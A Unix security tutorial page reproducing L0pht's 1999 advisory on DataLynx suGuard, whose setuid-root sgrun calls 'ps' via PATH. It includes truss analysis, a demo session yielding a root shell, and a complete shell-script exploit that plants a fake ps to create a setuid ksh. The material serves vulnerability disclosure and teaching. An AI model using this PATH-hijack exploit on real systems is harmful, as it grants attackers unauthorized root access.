Unix exploit - PATH
Home Up Stream A Stream B Shell Skills RegExp Skills Perl Skills Resources Using FTP Web Logs Permissions Notes 1 Notes 2 Inodes Unix exploit - PATH

 

Unix exploit - PATH

Often, Unix security flaws can be traced to the simplest things.  The following exploit allows anyone using this commercially sold "enhanced security" product to become the super-user on the machine.

The exploit is simple: The program is a privileged program (setuid root).  It calls other Unix programs while it runs; but, it doesn't drop privilege and it doesn't use the absolute pathname of the program it wants to run.  So, the shell goes looking for the program in $PATH.  Anyone can adjust PATH to execute their own program instead and give themselves super-user privilege.

Here is the text of the exploit:

From: "Dr. Mudge" <mudge@l0pht.com>
To: BUGTRAQ@netspace.org
Date: Sun, 3 Jan 1999 14:02:21 -0500
Subject:      L0pht Advisory - DataLynx suGuard
  
                         L0pht Security Advisory  
                       Advisory released Jan 3 1999
                  Application: suGuard rev 1.0 from DataLynx
                 Severity: any user configured under suGuard can
                         execute any command as root  
                         Author: mudge@l0pht.com
                  http://www.l0pht.com/advisories.html
  
Overview :  
  During a cursory examination of DataLynx's suGuard program to exploit
  /tmp vulnerabilities, much more blatent security problems were uncovered.
  In particular, a process listing is run from suGuard's main application.
  The first instance of the 'ps' program found in the users PATH environment
  is assumed to be the valid ps program and is run with root privileges.  
  sgrun, the datalynx program, is SUID root and as such enables any user
  configured for suGuard to execute arbitrary commands as root.  
Example :  
  [furby-death] ./dlx_sploit.sh /bin/datalynx/sgrun Identify
  datalynx sgrun proof of concept exploit from L0pht [mudge@l0pht.com]  
  Segmentation Fault
  root shell created as ./sushi  
  [furby-death] ls -l sushi
  -r-sr-xr-x   1 root     other     186356 Oct  1 14:25 sushi
  [furby-death] ./sushi
  #  
Description :  
So, roughly 2:30am I was sitting around wondering when and how I should
release the /tmp tool that I had whipped up and left lying around. It
occured to me that the best way to show its merits was to have it aid in
finding a security vulnerability. What better type of application to
demonstrate security vulnerabilities in than security apps. It ends up
being akin to breaking into vehicles to steal those stupid red clubs (which
ends up being pretty easy).  
The only question was what software to look at. As it turns out, one of the
folks over at the L0pht brought over a trade rag and I started leafing
through it. I was relatively confident that I would find some company who
had taken out a full page add with expensive looking artwork pawning their
wares. I would download an eval copy and have my example of poor code to
use in announcing the little temp-tool.  
What I got was worse than I dared imagine. In fact, though there were
the style of problems that I was looking for, the kindergarden security
mistakes that presented themselves here that I was not looking for warranted
their own advisory. I guess I'll need to go find another piece of software
to usher in the little util.  
suGuard is a commercial product put out by a company name DataLynx
[http://www.dlxguard.com]. It is basically sudo with a GUI interface and
some other functionality. Since it is designed to manage priviledged
execution of programs is installed SUID root.  
A quick strings(1) shows several likely problems in the code:  
  71800 /tmp
  74192 /tmp/dxpids.%d
  74208 ps -ef > %s
  78600 /tmp/gdtemp1
  78616 ps -ef > %s  
The /tmp lines show improper usage of the /tmp directory while the ps lines
indicate what is most likely the args to a s{n}printf that will be handed
off for execution.  
A quick nm(1) further validates our concerns:  
0000204184 U popen
0000203536 U execvp  
There are a couple of quick attacks to attempt here. First, playing with the
path and second playing with the field seperator IFS (both work here by the
way).  
truss'ing the program will show the problems in much more detail:  
  [note: Identify is the profile name I gave /bin/id for sgrun - see
   the suGuard documentation for how to set these up]  
truss -f -o xxx /bin/datalynx/sgrun Identify
grep ps xxx
[snip]
15651:  stat64("/usr/sbin/ps", 0xEFFFF2D8)              Err#2 ENOENT
15651:  stat64("/usr/bin/ps", 0xEFFFF2D8)               = 0
15651:  access("/usr/bin/ps", 9)                        = 0
15653:  execve("/usr/bin/ps", 0x00038B78, 0x00038BAC)  argc = 2
[snip]  
The above trace segment shows the walking of PATH directories to find ps
and then execute it with the arguments we noted from the strings(1) run.
This is what we expect since ps was not given an explicit path and the
calls for execution were either popen or execvp, both of which would follow
the PATH environment variable to find the executable.  
Though we exercise this particular problem, it should be noted that several
others exist in the program.  
Mini-Rant:  
The web page for Datalynx has links to "hacker/cracker sites" and also
"security sites". It seems somewhat ironic that someone coming from a
"hacker/cracker" site (yes, l0pht is listed) finds this vulnerability and
publishes it yet none of the "security" sites seem to be doing this.
Makes you wonder who is really securing the internet/corporate world. Is
it the hackers or the "security sites"?  
Exploit code:  
--------cut here--------  
#!/bin/sh
# sgrun exploit - the types of vulnerabilities that this exploit exercises
#  have no right being introduced to code in this day and age. Much less
#  code which presents itself under the pretenses of securing your system.
#   .mudge 01.02.99
#
SUSHI=./sushi  
if [ $# -ne 2 ] ; then
  echo Must specify path to sgrun [/bin/datalynx/sgrun] and sgrun argument
  echo  mudge@l0pht.com [01.02.99]
  exit 1
fi  
SGRUN=$1
ARG=$2  
if [ -f ${SUSHI} ] ; then
  echo root shell already created?
  exit
fi  
echo datalynx sgrun proof of concept exploit from L0pht [mudge@l0pht.com]
echo  
cat > ./ps << FOEFOE
#!/bin/sh
cp /bin/ksh ${SUSHI}
chown root ${SUSHI}
chmod 4555 ${SUSHI}
FOEFOE  
chmod 755 ./ps  
PATH=.:${PATH}
export PATH  
#/bin/datalynx/sgrun Identify
${SGRUN} ${ARG}
if [ -f ${SUSHI} ] ; then
  echo root shell created as ${SUSHI}
  ls -l ${SUSHI}
  echo
fi  
--------cut here--------  
mudge@l0pht.com
---------------
For more L0pht (that's L - zero - P - H - T) advisories check out:
http://www.l0pht.com/advisories.html
---------------